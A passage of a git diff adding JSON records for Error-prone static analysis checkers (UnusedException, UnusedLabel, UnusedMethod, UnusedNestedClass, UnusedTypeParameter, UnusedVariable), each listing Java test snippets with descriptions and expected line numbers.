"expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "import com.google.common.collect.Lists;\n import java.util.Collections;\n import java.util.List;\n\n class Test {\n void doIt(List myList) {\n // BUG: Diagnostic contains:\n Collections.sort(Lists.newArrayList(myList));\n // BUG: Diagnostic contains:\n Collections.sort(Lists.newArrayList(myList), null);\n }\n }" + }, + { + "description": "listsNewLinkedList", + "expected-problems": null, + "expected-linenumbers": [ + 89 + ], + "code": "import com.google.common.collect.Lists;\n import java.util.Collections;\n import java.util.List;\n\n class Test {\n void doIt(List myList) {\n // BUG: Diagnostic contains:\n Collections.sort(Lists.newLinkedList(myList));\n // BUG: Diagnostic contains:\n Collections.sort(Lists.newLinkedList(myList), null);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "import java.util.Collections;\n import java.util.List;\n\n class Test {\n void doIt(List myList) {\n Collections.sort(myList);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedException.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedException.json new file mode 100644 index 0000000..4992b2c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedException.json @@ -0,0 +1,126 @@ +{ + "name": "UnusedException", + "language": "java", + "description": "This catch block catches an exception and re-throws another, but swallows the caught exception rather than setting it as a cause. This can make debugging harder.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 175, + "branches": 16, + "apis": 4, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 38 + ], + "code": "class Test {\n void test() {\n try {\n // BUG: Diagnostic contains:\n } catch (Exception e) {\n throw new RuntimeException(\"foo\");\n }\n }\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "class Test {\n void test() {\n try {\n } catch (Exception e) {\n if (equals(this)) {\n throw new RuntimeException(toString());\n } else {\n throw new RuntimeException();\n }\n }\n }\n }\n \n\n class Test {\n void test() {\n try {\n } catch (Exception e) {\n if (equals(this)) {\n throw new RuntimeException(toString(), e);\n } else {\n throw new RuntimeException(e);\n }\n }\n }\n }" + }, + { + "description": "correctlyWrapped", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "class Test {\n void test() {\n try {\n } catch (Exception e) {\n throw new RuntimeException(e);\n }\n }\n }" + }, + { + "description": "rethrown", + "expected-problems": null, + "expected-linenumbers": [ + 113 + ], + "code": "class Test {\n void test() {\n try {\n } catch (Exception e) {\n throw e;\n }\n }\n }" + }, + { + "description": "usedSomehow", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "class Test {\n void test() {\n try {\n } catch (Exception e) {\n System.err.println(e.toString());\n throw new RuntimeException();\n }\n }\n }" + }, + { + "description": "usedNested", + "expected-problems": null, + "expected-linenumbers": [ + 150 + ], + "code": "class Test {\n void test() {\n try {\n } catch (Exception e) {\n try {\n // BUG: Diagnostic contains:\n } catch (Exception e2) {\n System.err.println(e.toString());\n throw new RuntimeException();\n }\n throw new RuntimeException();\n }\n }\n }" + }, + { + "description": "swallowedButDoesntThrow", + "expected-problems": null, + "expected-linenumbers": [ + 174 + ], + "code": "class Test {\n void test() {\n try {\n } catch (Exception e) {\n String ohNo = null;\n }\n }\n }" + }, + { + "description": "suppressible", + "expected-problems": null, + "expected-linenumbers": [ + 192 + ], + "code": "class Test {\n @SuppressWarnings(\"UnusedException\")\n void test() {\n try {\n } catch (Exception e) {\n throw new RuntimeException(\"foo\");\n }\n }\n }" + }, + { + "description": "suppressibleViaCatchBlock", + "expected-problems": null, + "expected-linenumbers": [ + 211 + ], + "code": "class Test {\n void test() {\n try {\n } catch (\n @SuppressWarnings(\"UnusedException\")\n Exception e) {\n throw new RuntimeException(\"foo\");\n }\n }\n }" + }, + { + "description": "suppressibleByCallingExceptionUnused", + "expected-problems": null, + "expected-linenumbers": [ + 231 + ], + "code": "class Test {\n void test() {\n try {\n } catch (Exception unusedException) {\n throw new RuntimeException(\"foo\");\n }\n }\n }" + }, + { + "description": "anonymousClass", + "expected-problems": null, + "expected-linenumbers": [ + 249 + ], + "code": "class Test {\n void test() {\n try {\n } catch (Exception e) {\n throw new RuntimeException() {};\n }\n }\n }\n \n\n class Test {\n void test() {\n try {\n } catch (Exception e) {\n throw new RuntimeException(e) {};\n }\n }\n }" + }, + { + "description": "replacementNotVisible", + "expected-problems": null, + "expected-linenumbers": [ + 279 + ], + "code": "class MyException extends RuntimeException {\n public MyException(int a) {}\n\n protected MyException(int a, Throwable th) {}\n }" + }, + { + "description": "interruptedException_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 307 + ], + "code": "class Test {\n void test() {\n try {\n throw new InterruptedException();\n } catch (InterruptedException e) {\n throw new IllegalStateException(\"foo\");\n }\n }\n }" + }, + { + "description": "interruptedIOException_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 326 + ], + "code": "import java.io.InterruptedIOException;\n\n abstract class Test {\n abstract void foo() throws InterruptedIOException;\n\n void test() throws InterruptedIOException {\n try {\n foo();\n } catch (InterruptedIOException e) {\n throw new InterruptedIOException();\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedLabel.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedLabel.json new file mode 100644 index 0000000..77d0886 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedLabel.json @@ -0,0 +1,38 @@ +{ + "name": "UnusedLabel", + "language": "java", + "description": "This label is unused.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 67, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "class Test {\n void test() {\n // BUG: Diagnostic contains:\n label:\n while (true) {}\n }\n }" + }, + { + "description": "usedInBreak_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "class Test {\n void test() {\n label:\n while (true) {\n break label;\n }\n }\n }" + }, + { + "description": "usedInContinue_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "class Test {\n void test() {\n label:\n while (true) {\n continue label;\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedMethod.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedMethod.json new file mode 100644 index 0000000..011c787 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedMethod.json @@ -0,0 +1,230 @@ +{ + "name": "UnusedMethod", + "language": "java", + "description": "Unused.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 373, + "branches": 35, + "apis": 11, + "test": [ + { + "description": "unusedNative", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package unusedvars;\n\n public class UnusedNative {\n private native void aNativeMethod();\n }" + }, + { + "description": "unusedPrivateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "package unusedvars;\n\n import com.google.errorprone.annotations.Keep;\n import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n import javax.inject.Inject;\n\n public class UnusedPrivateMethod {\n public void test() {\n used();\n }\n\n private void used() {}\n\n // BUG: Diagnostic contains: Method 'notUsed' is never used.\n private void notUsed() {}\n\n @Inject\n private void notUsedExempted() {}\n\n @Keep\n @Target(ElementType.METHOD)\n @Retention(RetentionPolicy.SOURCE)\n private @interface ProvidesCustom {}\n }" + }, + { + "description": "unuseds", + "expected-problems": null, + "expected-linenumbers": [ + 85 + ], + "code": "package unusedvars;\n\n import java.io.IOException;\n import java.io.ObjectStreamException;\n import java.util.List;\n import javax.inject.Inject;\n\n public class Unuseds {\n // BUG: Diagnostic contains:\n private void notUsedMethod() {}\n\n // BUG: Diagnostic contains:\n private static void staticNotUsedMethod() {}\n\n @SuppressWarnings({\"deprecation\", \"unused\"})\n class UsesSuppressWarning {\n private int f1;\n\n private void test1() {\n int local;\n }\n\n @SuppressWarnings(value = \"unused\")\n private void test2() {\n int local;\n }\n }\n }" + }, + { + "description": "exemptedMethods", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "package unusedvars;\n\n import java.io.IOException;\n import java.io.ObjectStreamException;\n\n public class Unuseds implements java.io.Serializable {\n private void readObject(java.io.ObjectInputStream in) throws IOException {\n in.hashCode();\n }\n\n private void writeObject(java.io.ObjectOutputStream out) throws IOException {\n out.writeInt(123);\n }\n\n private Object readResolve() {\n return null;\n }\n\n private void readObjectNoData() throws ObjectStreamException {}\n }" + }, + { + "description": "exemptedByName", + "expected-problems": null, + "expected-linenumbers": [ + 153 + ], + "code": "package unusedvars;\n\n class ExemptedByName {\n private void unused1(\n int a,\n int unusedParam,\n int customUnused1,\n int customUnused2,\n int prefixUnused1Param,\n int prefixUnused2Param) {\n int unusedLocal = a;\n }\n }" + }, + { + "description": "exemptedByCustomAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "package example;\n\n @interface Foo {}\n \n\n package example;\n\n class ExemptedByCustomAnnotation {\n @Foo\n private void bar() {}\n }" + }, + { + "description": "suppressions", + "expected-problems": null, + "expected-linenumbers": [ + 203 + ], + "code": "package unusedvars;\n\n class Suppressed {\n @SuppressWarnings({\"deprecation\", \"unused\"})\n class UsesSuppressWarning {\n private void test1() {\n int local;\n }\n\n @SuppressWarnings(value = \"unused\")\n private void test2() {\n int local;\n }\n }\n }" + }, + { + "description": "removal_javadocsAndNonJavadocs", + "expected-problems": null, + "expected-linenumbers": [ + 228 + ], + "code": "package unusedvars;\n\n public class UnusedWithComment {\n /** Method comment */\n private void test1() {}\n\n /** Method comment */\n private void test2() {}\n\n // Non javadoc comment\n private void test3() {}\n }\n \n\n package unusedvars;\n\n public class UnusedWithComment {}" + }, + { + "description": "usedInLambda", + "expected-problems": null, + "expected-linenumbers": [ + 257 + ], + "code": "package unusedvars;\n\n import java.util.Arrays;\n import java.util.List;\n import java.util.function.Function;\n import java.util.stream.Collectors;\n\n /** Method parameters used in lambdas and anonymous classes */\n public class UsedInLambda {\n private Function usedInLambda() {\n return x -> 1;\n }\n\n private String print(Object o) {\n return o.toString();\n }\n\n public List print(List os) {\n return os.stream().map(this::print).collect(Collectors.toList());\n }\n\n public static void main(String[] args) {\n System.err.println(new UsedInLambda().usedInLambda());\n System.err.println(new UsedInLambda().print(Arrays.asList(1, 2, 3)));\n }\n }" + }, + { + "description": "onlyForMethodReference", + "expected-problems": null, + "expected-linenumbers": [ + 293 + ], + "code": "import java.util.function.Predicate;\n\n class Test {\n private static boolean foo(int a) {\n return true;\n }\n\n Predicate pred = Test::foo;\n }" + }, + { + "description": "methodSource", + "expected-problems": null, + "expected-linenumbers": [ + 312 + ], + "code": "package org.junit.jupiter.params.provider;\n\n public @interface MethodSource {\n String[] value();\n }\n \n\n import java.util.stream.Stream;\n import org.junit.jupiter.params.provider.MethodSource;\n\n class Test {\n @MethodSource(\"parameters\")\n void test() {}\n\n private static Stream parameters() {\n return Stream.of();\n }\n }" + }, + { + "description": "qualifiedMethodSource", + "expected-problems": null, + "expected-linenumbers": [ + 342 + ], + "code": "package org.junit.jupiter.params.provider;\n\n public @interface MethodSource {\n String[] value();\n }\n \n\n import java.util.stream.Stream;\n import org.junit.jupiter.params.provider.MethodSource;\n\n class Test {\n @MethodSource(\"Test#parameters\")\n void test() {}\n\n private static Stream parameters() {\n return Stream.of();\n }\n }" + }, + { + "description": "nestedQualifiedMethodSource", + "expected-problems": null, + "expected-linenumbers": [ + 372 + ], + "code": "package org.junit.jupiter.params.provider;\n\n public @interface MethodSource {\n String[] value();\n }\n \n\n import java.util.stream.Stream;\n import org.junit.jupiter.params.provider.MethodSource;\n\n class Test {\n // @Nested\n public class NestedTest {\n @MethodSource(\"Test#parameters\")\n void test() {}\n }\n\n private static Stream parameters() {\n return Stream.of();\n }\n }" + }, + { + "description": "overriddenMethodNotCalledWithinClass", + "expected-problems": null, + "expected-linenumbers": [ + 405 + ], + "code": "class Test {\n private class Inner {\n @Override\n public String toString() {\n return null;\n }\n }\n }" + }, + { + "description": "methodWithinPrivateInnerClass_isEligible", + "expected-problems": null, + "expected-linenumbers": [ + 423 + ], + "code": "class Test {\n private class Inner {\n // BUG: Diagnostic contains:\n public void foo() {}\n }\n }" + }, + { + "description": "unusedConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 439 + ], + "code": "class Test {\n // BUG: Diagnostic contains: Constructor 'Test'\n private Test(int a) {}\n }" + }, + { + "description": "unusedConstructor_refactoredToPrivateNoArgVersion", + "expected-problems": null, + "expected-linenumbers": [ + 453 + ], + "code": "class Test {\n private Test(int a) {}\n }\n \n\n class Test {\n private Test() {}\n }" + }, + { + "description": "unusedConstructor_finalFieldsLeftDangling_noFix", + "expected-problems": null, + "expected-linenumbers": [ + 473 + ], + "code": "class Test {\n private final int a;\n\n private Test(int a) {\n this.a = a;\n }\n }" + }, + { + "description": "unusedConstructor_nonFinalFields_stillRefactored", + "expected-problems": null, + "expected-linenumbers": [ + 491 + ], + "code": "class Test {\n private int a;\n\n private Test(int a) {}\n }\n \n\n class Test {\n private int a;\n\n private Test() {}\n }" + }, + { + "description": "unusedConstructor_removed", + "expected-problems": null, + "expected-linenumbers": [ + 515 + ], + "code": "class Test {\n private Test(int a) {}\n\n private Test(String a) {}\n\n public Test of() {\n return new Test(1);\n }\n }\n \n\n class Test {\n private Test(int a) {}\n\n public Test of() {\n return new Test(1);\n }\n }" + }, + { + "description": "privateConstructor_calledWithinClass", + "expected-problems": null, + "expected-linenumbers": [ + 545 + ], + "code": "class Test {\n private Test(int a) {}\n\n public Test of(int a) {\n return new Test(a);\n }\n }" + }, + { + "description": "zeroArgConstructor_notFlagged", + "expected-problems": null, + "expected-linenumbers": [ + 562 + ], + "code": "class Test {\n private Test() {}\n }" + }, + { + "description": "annotationProperty_assignedByname", + "expected-problems": null, + "expected-linenumbers": [ + 575 + ], + "code": "class Test {\n private @interface Anno {\n int value() default 1;\n }\n\n @Anno(value = 1)\n int b;\n }" + }, + { + "description": "annotationProperty_assignedAsDefault", + "expected-problems": null, + "expected-linenumbers": [ + 593 + ], + "code": "class Test {\n private @interface Anno {\n int value();\n }\n\n @Anno(1)\n int a;\n }" + }, + { + "description": "effectivelyPrivateMethodMadeVisible", + "expected-problems": null, + "expected-linenumbers": [ + 611 + ], + "code": "class Test {\n private class A {\n public void foo() {}\n }\n\n public class B extends A {}\n }" + }, + { + "description": "effectivelyPrivateMethodMadeVisible_bySubclassImplementingPublicInterface", + "expected-problems": null, + "expected-linenumbers": [ + 628 + ], + "code": "class Test {\n private static class A {\n public void a() {}\n }\n\n public interface B {\n public void a();\n }\n\n public static final class C extends A implements B {}\n }" + }, + { + "description": "anonymousClassMethod", + "expected-problems": null, + "expected-linenumbers": [ + 649 + ], + "code": "class T {\n void f() {\n var r =\n new Runnable() {\n public void foo() {}\n\n @Override\n public void run() {}\n };\n }\n\n enum E implements Runnable {\n ONE {\n public void foo() {}\n\n @Override\n public void run() {}\n };\n }\n }\n \n\n class T {\n void f() {\n var r =\n new Runnable() {\n @Override\n public void run() {}\n };\n }\n\n enum E implements Runnable {\n ONE {\n @Override\n public void run() {}\n };\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedNestedClass.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedNestedClass.json new file mode 100644 index 0000000..1380404 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedNestedClass.json @@ -0,0 +1,126 @@ +{ + "name": "UnusedNestedClass", + "language": "java", + "description": "This nested class is unused, and can be removed.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 122, + "branches": 6, + "apis": 5, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "class A {\n // BUG: Diagnostic contains:\n private class B {}\n }" + }, + { + "description": "exemptedByUnusedPrefix", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "class A {\n private class UnusedClass {}\n }" + }, + { + "description": "nonPrivateNestedClass_noWarning", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "class A {\n class B {}\n }" + }, + { + "description": "anonymousClass_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "import java.util.function.Function;\n import java.util.stream.Stream;\n\n class A {\n private Stream map(Stream xs) {\n return xs.map(\n new Function() {\n @Override\n public String apply(Object o) {\n return o.toString();\n }\n });\n }\n }" + }, + { + "description": "anonymousClass_asAStatement_unused", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "" + }, + { + "description": "localClass_used_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 120 + ], + "code": "import java.util.function.Function;\n import java.util.stream.Stream;\n\n class A {\n private Stream map(Stream xs) {\n class Mapper implements Function {\n @Override\n public String apply(Object o) {\n return o.toString();\n }\n }\n return xs.map(new Mapper());\n }\n }" + }, + { + "description": "localClass_unused_finding", + "expected-problems": null, + "expected-linenumbers": [ + 144 + ], + "code": "import java.util.function.Function;\n import java.util.stream.Stream;\n\n class A {\n void test() {\n // BUG: Diagnostic contains:\n class Mapper implements Function {\n @Override\n public String apply(Object o) {\n return o.toString();\n }\n }\n }\n }" + }, + { + "description": "usedWithinSelf_warning", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "class A {\n // BUG: Diagnostic contains:\n private static class B {\n private static final B b = new B();\n }\n }" + }, + { + "description": "usedOutsideSelf_noWarning", + "expected-problems": null, + "expected-linenumbers": [ + 184 + ], + "code": "class A {\n private static final B b = new B();\n\n private static class B {}\n }" + }, + { + "description": "usedOutsideSelf_oddQualification_noWarning", + "expected-problems": null, + "expected-linenumbers": [ + 199 + ], + "code": "class A {\n public static final Object b = new A.B();\n\n private static class B {}\n }" + }, + { + "description": "suppression", + "expected-problems": null, + "expected-linenumbers": [ + 214 + ], + "code": "class A {\n @SuppressWarnings(\"unused\")\n private class B {}\n }" + }, + { + "description": "usedReflectively_suppressed", + "expected-problems": null, + "expected-linenumbers": [ + 228 + ], + "code": "import com.google.errorprone.annotations.Keep;\n\n class A {\n @Keep\n private class B {}\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 244 + ], + "code": "class A {\n /** Foo. */\n private class B {}\n }\n \n\n class A {}" + }, + { + "description": "moduleInfo", + "expected-problems": null, + "expected-linenumbers": [ + 263 + ], + "code": "module foo {\n requires java.base;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedTypeParameter.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedTypeParameter.json new file mode 100644 index 0000000..135310f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedTypeParameter.json @@ -0,0 +1,70 @@ +{ + "name": "UnusedTypeParameter", + "language": "java", + "description": "This type parameter is unused and can be removed.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 124, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "positiveOnClass", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "// BUG: Diagnostic contains:\n final class Test {}" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 45 + ], + "code": "" + }, + { + "description": "refactoringWithTwoParameters", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "final class Test {\n B get() {\n return null;\n }\n }\n \n\n final class Test {\n B get() {\n return null;\n }\n }" + }, + { + "description": "refactoringWithGtgt", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "" + }, + { + "description": "positiveOnMethod", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "final class Test {\n // BUG: Diagnostic contains:\n private void test() {}\n }" + }, + { + "description": "methodCouldBeOverridden_negativeFinding", + "expected-problems": null, + "expected-linenumbers": [ + 107 + ], + "code": "class Test {\n void test() {}\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 120 + ], + "code": "class Test {\n private boolean contains(java.util.Set set, T elem) {\n return set.contains(elem);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedVariable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedVariable.json new file mode 100644 index 0000000..7e40e2e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnusedVariable.json @@ -0,0 +1,654 @@ +{ + "name": "UnusedVariable", + "language": "java", + "description": "Unused.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 913, + "branches": 124, + "apis": 13, + "test": [ + { + "description": "exemptedByReceiverParameter", + "expected-problems": null, + "expected-linenumbers": [ + 38 + ], + "code": "package unusedvars;\n\n public class ExemptedByReceiverParameter {\n public void test() {\n used();\n }\n\n private void used(ExemptedByReceiverParameter this) {\n // the receiver parameter should not be marked as unused\n }\n\n class Inner {\n private Inner(ExemptedByReceiverParameter ExemptedByReceiverParameter.this) {\n // the receiver parameter should not be marked as unused\n }\n }\n }" + }, + { + "description": "unicodeBytes", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "package unusedvars;\n\n /** This file contains Unicode characters: ❁❁❁❁❁❁❁❁❁ */\n public class UnicodeBytes {\n public void test() {\n // BUG: Diagnostic contains: is never read\n int notUsedLocal;\n String usedLocal = \"\";\n System.out.println(usedLocal);\n }\n }" + }, + { + "description": "unusedArray", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "package unusedvars;\n\n public class UnusedArray {\n private int[] ints;\n\n public void test() {\n ints[0] = 0;\n ints[0]++;\n ints[0]--;\n ints[0] -= 0;\n }\n }" + }, + { + "description": "unusedEnhancedForLoop", + "expected-problems": null, + "expected-linenumbers": [ + 108 + ], + "code": "package unusedvars;\n\n import java.util.ArrayList;\n import java.util.List;\n\n class UnusedEnhancedForLoop {\n public List makeList(List input) {\n List output = new ArrayList<>();\n for (final String firstVar : input) {\n output.add(\"a string\");\n }\n return output;\n }\n\n public List listData(List> input) {\n List output = new ArrayList<>();\n for (List secondVar : input) {\n output.add(\"a string\");\n }\n return output;\n }\n }\n \n\n package unusedvars;\n\n import java.util.ArrayList;\n import java.util.List;\n\n class UnusedEnhancedForLoop {\n public List makeList(List input) {\n List output = new ArrayList<>();\n for (final String unused : input) {\n output.add(\"a string\");\n }\n return output;\n }\n\n public List listData(List> input) {\n List output = new ArrayList<>();\n for (List unused : input) {\n output.add(\"a string\");\n }\n return output;\n }\n }" + }, + { + "description": "unusedField", + "expected-problems": null, + "expected-linenumbers": [ + 166 + ], + "code": "package unusedvars;\n\n import java.util.ArrayList;\n import java.util.List;\n\n public class UnusedField {\n // BUG: Diagnostic contains: is never read\n private int notUsedInt;\n // BUG: Diagnostic contains: is never read\n private List list = new ArrayList<>();\n\n public void test() {\n notUsedInt = 0;\n if (hashCode() > 0) {\n list = null;\n } else {\n list = makeList();\n }\n }\n\n private List makeList() {\n return null;\n }\n\n public UnusedField(List list) {\n this.list = list;\n }\n\n // These fields are special, and should not be flagged as unused.\n private static final long serialVersionUID = 0;\n private static final String TAG = \"UnusedFieldTestThingy\";\n\n @SuppressWarnings(\"unchecked\")\n // BUG: Diagnostic contains: is never read\n private long fieldWithAnn;\n }" + }, + { + "description": "unusedFieldRefactoringInEnum", + "expected-problems": null, + "expected-linenumbers": [ + 212 + ], + "code": "" + }, + { + "description": "unusedLocalVarInitialized", + "expected-problems": null, + "expected-linenumbers": [ + 234 + ], + "code": "package unusedvars;\n\n public class UnusedLocalVarInitialized {\n public void test() {\n String s = \"\";\n System.out.println(s);\n // BUG: Diagnostic contains: is never read\n int notUsed = UnusedLocalVarInitialized.setData();\n notUsed = this.hashCode();\n }\n\n public static int setData() {\n return 0;\n }\n }" + }, + { + "description": "unusedLocalVar", + "expected-problems": null, + "expected-linenumbers": [ + 259 + ], + "code": "package unusedvars;\n\n public class UnusedLocalVar {\n public void test() {\n // BUG: Diagnostic contains: is never read\n int notUsedLocal;\n notUsedLocal = 0;\n String usedLocal = \"\";\n if (usedLocal.length() == 0) {\n notUsedLocal = 10 + usedLocal.length();\n } else {\n notUsedLocal = this.calculate() + 1;\n notUsedLocal--;\n notUsedLocal += Integer.valueOf(1);\n System.out.println(usedLocal);\n }\n System.out.println(usedLocal);\n }\n\n int calculate() {\n return 0;\n }\n }" + }, + { + "description": "unusedNative", + "expected-problems": null, + "expected-linenumbers": [ + 292 + ], + "code": "package unusedvars;\n\n public class UnusedNative {\n private int usedInNative1 = 0;\n private String usedInNative2 = \"\";\n\n private native void aNativeMethod();\n }" + }, + { + "description": "unusedParamInPrivateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 310 + ], + "code": "package unusedvars;\n\n public class UnusedParamInPrivateMethod {\n // BUG: Diagnostic contains: 'j' is never read\n private void test(int i, int j) {\n System.out.println(i);\n }\n\n private class Inner {\n // BUG: Diagnostic contains: 'j' is never read\n public void test(int i, int j) {\n System.out.println(i);\n }\n }\n\n private interface Foo {\n void foo(int a);\n }\n\n public void main() {\n test(1, 2);\n }\n }" + }, + { + "description": "unuseds", + "expected-problems": null, + "expected-linenumbers": [ + 343 + ], + "code": "package unusedvars;\n\n import java.io.IOException;\n import java.io.ObjectStreamException;\n import java.util.List;\n import javax.inject.Inject;\n\n public class Unuseds {\n // BUG: Diagnostic contains:\n private static final String NOT_USED_CONST_STR = \"unused_test\";\n private static final String CONST_STR = \"test\";\n // BUG: Diagnostic contains:\n private int notUsed;\n private List used;\n public int publicOne;\n private int[] ints;\n @Inject private int unusedExemptedByAnnotation;\n\n @Inject\n private void unusedMethodExemptedByAnnotation() {}\n\n void test() {\n this.notUsed = 0;\n this.notUsed++;\n this.notUsed += 0;\n // BUG: Diagnostic contains:\n int notUsedLocal;\n notUsedLocal = 10;\n int usedLocal = 0;\n if (!used.get(usedLocal).toString().equals(CONST_STR)) {\n used.add(\"test\");\n }\n // j is used\n int j = 0;\n used.get(j++);\n ints[j--]++;\n ints[1] = 0;\n // Negative case (:( data flow analysis...).\n byte[] notUsedLocalArray = new byte[] {};\n notUsedLocalArray[0] += this.used.size();\n char[] out = new char[] {};\n for (int m = 0, n = 0; m < 1; m++) {\n out[n++] = out[m];\n }\n // Negative case\n double timestamp = 0.0;\n set(timestamp += 1.0);\n int valuesIndex1 = 0;\n int valuesIndex2 = 0;\n double[][][] values = null;\n values[0][valuesIndex1][valuesIndex2] = 10;\n System.out.println(values);\n }\n\n public void set(double d) {}\n\n public void usedInMethodCall(double d) {\n List notUseds = null;\n int indexInMethodCall = 0;\n // Must not be reported as unused\n notUseds.get(indexInMethodCall).publicOne = 0;\n }\n\n void memberSelectUpdate1() {\n List l = null;\n // `u` should not be reported as unused.\n Unuseds u = getFirst(l);\n u.notUsed = 10;\n System.out.println(l);\n getFirst(l).notUsed = 100;\n }\n\n void memberSelectUpdate2() {\n List l = null;\n // `l` should not be reported as unused.\n l.get(0).notUsed = 10;\n }\n\n Unuseds getFirst(List l) {\n return l.get(0);\n }\n\n // Negative case. Must not report.\n private int usedCount = 0;\n\n int incCounter() {\n return usedCount += 2;\n }\n\n // For testing the lack of NPE on return statement.\n public void returnNothing() {\n return;\n }\n\n // Negative case. Must not report.\n public void testUsedArray() {\n ints[0] = 0;\n ints[0]++;\n ints[0]--;\n ints[0] -= 0;\n }\n\n @SuppressWarnings({\"deprecation\", \"unused\"})\n class UsesSuppressWarning {\n private int f1;\n\n private void test1() {\n int local;\n }\n }\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 464 + ], + "code": "package unusedvars;\n\n public class Unuseds {\n private static final String NOT_USED_CONST_STR = \"unused_test\";\n private static final String CONST_STR = \"test\";\n private int notUsed;\n public int publicOne;\n\n void test() {\n this.notUsed = 0;\n this.notUsed++;\n this.notUsed += 0;\n int notUsedLocal;\n notUsedLocal = 10;\n System.out.println(CONST_STR);\n }\n }\n \n\n package unusedvars;\n\n public class Unuseds {\n private static final String CONST_STR = \"test\";\n public int publicOne;\n\n void test() {\n System.out.println(CONST_STR);\n }\n }" + }, + { + "description": "overridableMethods", + "expected-problems": null, + "expected-linenumbers": [ + 505 + ], + "code": "package unusedvars;\n\n public class Unuseds {\n // BUG: Diagnostic contains: The parameter 'j' is never read\n private int usedPrivateMethodWithUnusedParam(int i, int j) {\n return i * 2;\n }\n\n int a = usedPrivateMethodWithUnusedParam(1, 2);\n\n // In the following three cases, parameters should not be reported as unused,\n // because methods are non-private.\n public void publicMethodWithUnusedParam(int i, int j) {}\n\n public void protectedMethodWithUnusedParam(int i, int j) {}\n\n public void packageMethodWithUnusedParam(int i, int j) {}\n }" + }, + { + "description": "exemptedByName", + "expected-problems": null, + "expected-linenumbers": [ + 533 + ], + "code": "package unusedvars;\n\n class ExemptedByName {\n private int unused;\n private int unusedInt;\n private static final int UNUSED_CONSTANT = 5;\n private int ignored;\n private int customUnused1;\n private int customUnused2;\n private int prefixUnused1Field;\n private int prefixUnused2Field;\n }" + }, + { + "description": "suppressions", + "expected-problems": null, + "expected-linenumbers": [ + 558 + ], + "code": "package unusedvars;\n\n 